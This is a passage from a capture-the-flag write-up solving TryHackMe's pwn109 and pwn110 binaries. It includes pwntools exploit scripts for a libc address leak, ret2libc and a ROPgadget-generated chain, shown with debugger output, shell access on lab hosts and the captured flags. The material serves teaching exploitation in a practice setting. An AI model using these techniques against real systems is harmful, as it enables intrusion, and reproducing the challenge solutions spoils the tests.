──────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
 ► 0x401231 <main+63>    ret    <0x6161616c6161616b>



───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde38 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0008│     0x7fffffffde40 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0010│     0x7fffffffde48 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
03:0018│     0x7fffffffde50 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaa'
04:0020│     0x7fffffffde58 ◂— 'saaataaauaaavaaawaaaxaaayaaa'
05:0028│     0x7fffffffde60 ◂— 'uaaavaaawaaaxaaayaaa'
06:0030│     0x7fffffffde68 ◂— 'waaaxaaayaaa'
07:0038│     0x7fffffffde70 ◂— 0x61616179 /* 'yaaa' */
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► f 0         0x401231 main+63
   f 1 0x6161616c6161616b
   f 2 0x6161616e6161616d
   f 3 0x616161706161616f
   f 4 0x6161617261616171
   f 5 0x6161617461616173
   f 6 0x6161617661616175
   f 7 0x6161617861616177
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> q
                                                                                                        
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn109]
└─$ cyclic -l kaaa
40

The offset is 40.

With this i need to leak the address of puts@plt then jump back to the main function

To leak puts i need to find a pop_rdi gadget since the calling convention of x64 requires passing in the correct argument

Here’s how it will go

1. Overflow the buffer
2. Pop the value of puts@plt to puts@got
3. Jump back to the main function to perform another buffer overflow but this time getting shell

To get a pop_rdi gadget i used ropper

└─$ ropper --file pwn109.pwn109 --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: pwn109.pwn109
0x00000000004012a3: pop rdi; ret; 

Note: Libc address are 6 bytes long, meaning they are preceded with 0x0000

Here’s the script i put together to do the leaking of puts@got

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './pwn109.pwn109'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

libc = elf.libc

# Start program
io = start()

offset = 40
pop_rdi = 0x00000000004012a3 # pop rdi; ret; 

# Build payload for puts plt leak address
payload = flat({
    offset: [
        pop_rdi,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']
    ]
})

io.recvuntil('Go ahead')
io.recvline()
io.sendline(payload)

# libc addresses are often only 6 bytes long, meaning they are preceded with 0x0000
# but this won't be read as it's a null byte, so only read 6 bytes and append the null ones later
got_puts = u64(io.recv(6) + b'\x00\x00')
info("Puts leaked address %#x", got_puts)

Running it leaks the address of puts

└─$ python3 exploit.py    
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './pwn109.pwn109': pid 385602
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('Go ahead')
[*] Puts leaked address 0x7ffff7e40820
[*] Stopped process './pwn109.pwn109' (pid 385602)

With this we can easily calculate the libc base address

Getting the libc base address will lead to getting a shell

Here’s the local solve script Exploit

Note: I had to add a valid return address to allign the stack

Running it locally works

└─$ python3 exploit.py 
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './pwn109.pwn109': pid 386906
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('Go ahead')
[*] Puts leaked address 0x7ffff7e40820
[*] Libc address 0x7ffff7dc9000
[*] Loaded 195 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Libc system address 0x7ffff7e15330
[*] Libc /bin/sh address 0x7ffff7f5f031
[*] Switching to interactive mode

       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109          

This time no 🗑 🤫 & 🐈🚩.📄 Go ahead 😏
$ ls -al
total 36
drwxr-xr-x  2 mark mark  4096 Feb 18 05:29 .
drwxr-xr-x 11 mark mark  4096 Feb 18 04:53 ..
-rw-r--r--  1 mark mark  2007 Feb 18 05:28 exploit.py
-rw-------  1 mark mark    21 Feb 18 05:24 .gdb_history
-rwxr-xr-x  1 mark mark 16920 Feb 18 04:56 pwn109.pwn109
$  

Now i’ll run it on the remote server!! But it doesn’t work

└─$ python3 exploit.py REMOTE 10.10.176.92 9009
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 10.10.176.92 on port 9009: Done
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('Go ahead')
[*] Puts leaked address 0x7f5845059aa0
[*] Libc address 0x7f5844fe2280
[*] Loaded 195 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Libc system address 0x7f584502e5b0
[*] Libc /bin/sh address 0x7f58451782b1
[*] Switching to interactive mode

       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109          

This time no 🗑 🤫 & 🐈🚩.📄 Go ahead 😏
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to 10.10.176.92 port 9009
[*] Got EOF while sending in interactive

Now if you keep on running it you will notice that the value changes except the last 3 bytes

[*] Puts leaked address 0x7f626f2a6aa0
[*] Libc address 0x7f626f22f280
[*] Libc system address 0x7f626f27b5b0
[*] Libc /bin/sh address 0x7f626f3c52b1


[*] Puts leaked address 0x7fc0ec60daa0
[*] Libc address 0x7fc0ec596280
[*] Libc system address 0x7fc0ec5e25b0
[*] Libc /bin/sh address 0x7fc0ec72c2b1

Reason for that is because of ASLR (Address Space Layout Randomization)

So i’ll need to get the libc version of the remote server

To get a better result i’ll leak 3 different address from the got.plt section of the binary

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './pwn109.pwn109'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

libc = elf.libc

# Start program
io = start()

offset = 40
pop_rdi = 0x00000000004012a3 # pop rdi; ret; 
movaps = 0x000000000040101a # ret;

# Build payload for puts plt leak address
payload = flat({
    offset: [
        pop_rdi,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']
    ]
})

io.recvuntil('Go ahead')
io.recvline()
io.sendline(payload)

# libc addresses are often only 6 bytes long, meaning they are preceded with 0x0000
# but this won't be read as it's a null byte, so only read 6 bytes and append the null ones later
got_puts = u64(io.recv(6) + b'\x00\x00')
#info("Puts leaked address %#x", got_puts)

# Update libc address
libc.address = got_puts - libc.symbols['puts']
info("Libc address %#x", libc.address)

# Perform ret2libc 
#rop = ROP(libc)
#sh = next(libc.search(b'/bin/sh'))
#system = rop.system(sh)
#chain = rop.chain()
#info("Libc system address %#x", libc.symbols['system'])
#info("Libc /bin/sh address %#x", sh)
info("Gets address %#x", libc.symbols['gets'])
info("Setvbuf address %#x", libc.symbols['setvbuf'])

#payload = flat({
#    offset: [
#        movaps,
#        movaps,
#        movaps,
#        chain
#    ]
#})

# Send the payload
#io.sendline(payload)

#io.interactive()

Running it leaks the thress address from got.plt

└─$ python3 exploit.py REMOTE 10.10.98.40  9009
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 10.10.98.40 on port 9009: Done
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/exploit.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('Go ahead')
[*] Puts leaked address 0x7f4d584f0aa0
[*] Gets address 0x7f4d584f01b0
[*] Setvbuf address 0x7f4d584f10b0
[*] Closed connection to 10.10.98.40 port 9009

Using libc database check blukat i’ll get the remote libc version image

So its likely that the remote server uses

Looking at the value we can get the offset relative to the current value we have already in this case puts image

Here’s the solve script Exploit

Running it on the remote server works

└─$ python3 a.py REMOTE 10.10.98.40 9009
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 10.10.98.40 on port 9009: Done
/home/mark/Desktop/B2B/THM/Pwn101/pwn109/a.py:49: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('Go ahead')
[*] Puts leaked address 0x7f05a8bd9aa0
[*] Libc address 0x7f05a8b62280
[*] Libc system address 0x7f05a8bae5b0
[*] Libc /bin/sh address 0x7f05a8d0ce1a
[*] Switching to interactive mode

       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109          

This time no 🗑 🤫 & 🐈🚩.📄 Go ahead 😏
$ ls -al
total 48
drwx------  2 pwn109 pwn109  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn109 pwn109     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn109 pwn109   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn109 pwn109  3771 Apr  4  2018 .bashrc
-rw-r--r--  1 pwn109 pwn109   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn109 pwn109    44 Jan 28  2022 flag.txt
-rwxrwxrwx  1 pwn109 pwn109 16920 Jan 29  2022 pwn109
-rwxrwxrwx  1 pwn109 pwn109   654 Jan 28  2022 pwn109.c
$ cat flag.txt
THM{w417_h0w_Y0u_l3ked_i7_w1th0uT_pr1ntF??}
$

Challenge 10 = PWN110

Basic File Checks

➜  pwn file pwn110.pwn110
pwn110.pwn110: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9765ee1bc5e845af55929a99730baf4dccbb1990, for GNU/Linux 3.2.0, not stripped
➜  pwn checksec pwn110.pwn110 
[*] '/tmp/pwn/pwn110.pwn110'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
➜  pwn 

We see that we’re working with a x64 binary but this time around it’s stripped so any function called in the binary will be already put in it so basically it won’t call functions from our libc library file.

The only protection enabled there is NX (No-Execute) which will prevent Ret2Shellcode

So I’ll run it to know what it does

➜  pwn ./pwn110.pwn110
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 110          

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
really?
➜  pwn 

It just asks for our input then exits

Using ghidra i’ll decompile it so since its a stripped binary it takes some while before it finishes loading well

This is the main function:

void main(void)

{
  char buf [32];
  
  setup();
  banner();
  puts(&DAT_00495120);
  puts(&DAT_00495150);
  gets(buf);
  return;
}

Nothing really much happens here but we can spot the vulnerability there the usage of gets()

So now lets get the offset needed to take over the instruction pointer

➜  pwn gdb-gef ./pwn110.pwn110
Reading symbols from ./pwn110.pwn110...
(No debugging symbols found in ./pwn110.pwn110)
Error while writing index for `/tmp/pwn/pwn110.pwn110': No debugging symbols
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /tmp/pwn/pwn110.pwn110 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 110          

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401eac in main ()


[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe030  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rbx   : 0x0000000000400518  →   add BYTE PTR [rax], al
$rcx   : 0x00000000004c0500  →  <_IO_2_1_stdin_+0> mov esp, DWORD PTR [rax]
$rdx   : 0x0               
$rsp   : 0x00007fffffffe058  →  "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"
$rbp   : 0x6161616161616165 ("eaaaaaaa"?)
$rsi   : 0x00000000004c0583  →  0x4c2c80000000000a ("\n"?)
$rdi   : 0x00000000004c2c80  →  <_IO_stdfile_0_lock+0> add BYTE PTR [rax], al
$rip   : 0x0000000000401eac  →  <main+75> ret 
$r8    : 0x00007fffffffe030  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x246             
$r12   : 0x0000000000402f30  →  <__libc_csu_fini+0> endbr64 
$r13   : 0x0               
$r14   : 0x00000000004c0018  →  0x000000000043f7e0  →  <__strcpy_avx2+0> endbr64 
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe058│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"    ← $rsp
0x00007fffffffe060│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"
0x00007fffffffe068│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007fffffffe070│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007fffffffe078│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007fffffffe080│+0x0028: "kaaaaaaalaaaaaaamaaa"
0x00007fffffffe088│+0x0030: "laaaaaaamaaa"
0x00007fffffffe090│+0x0038: 0x000000006161616d ("maaa"?)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401ea5 <main+68>        call   0x411a10 <gets>
     0x401eaa <main+73>        nop    
     0x401eab <main+74>        leave  
 →   0x401eac <main+75>        ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn110.pwn110", stopped 0x401eac in main (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401eac → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern offset $rsp
[+] Searching for '6661616161616161'/'6161616161616166' with period=8
[+] Found at offset 40 (little-endian search) likely
gef➤ 

So the offset is 40 cool

Now at this point we can’t perform ROPs like Ret2libc and the likes

But there’s a really good tool called RopGadgets which will find and give ropchains of the binary specified

Using it I generated a rop payload

Command: ROPgadget --binary ./pwn110.pwn110 --ropchain

It formed the ropchain to use and I just added it to my exploit script and used it

Here’s the exploit script

Running it locally works

➜  pwn python3 exploit.py
[+] Starting local process './pwn110.pwn110': pid 67987
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 110          

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
$ ls -al
total 876
drwxr-xr-x  2 mark mark   4096 May  2 23:49 .
drwxrwxrwt 20 root root  12288 May  2 23:39 ..
-rw-r--r--  1 mark mark   4378 May  2 23:49 exploit.py
-rwxr-xr-x  1 mark mark 872080 May  2 17:36 pwn110.pwn110
$ 

Same as remotely

➜  pwn python3 exploit.py
[+] Opening connection to 10.10.122.134 on port 9010: Done
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 110          

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
$ ls -al
total 880
drwx------  2 pwn110 pwn110   4096 Feb  8  2022 .
drwxr-xr-x 12 root   root     4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn110 pwn110      9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn110 pwn110    220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn110 pwn110   3771 Apr  4  2018 .bashrc
-rw-r--r--  1 pwn110 pwn110    807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn110 pwn110     25 Jan 28  2022 flag.txt
-rwxrwxrwx  1 pwn110 pwn110 872080 Jan 29  2022 pwn110
-rwxrwxrwx  1 pwn110 pwn110    686 Jan 29  2022 pwn110.c
$ cat flag.txt
THM{n1c3_us3_0f_g4dg37s}
$ 

Fun challenge I’d say ………. And we’re done :D 👻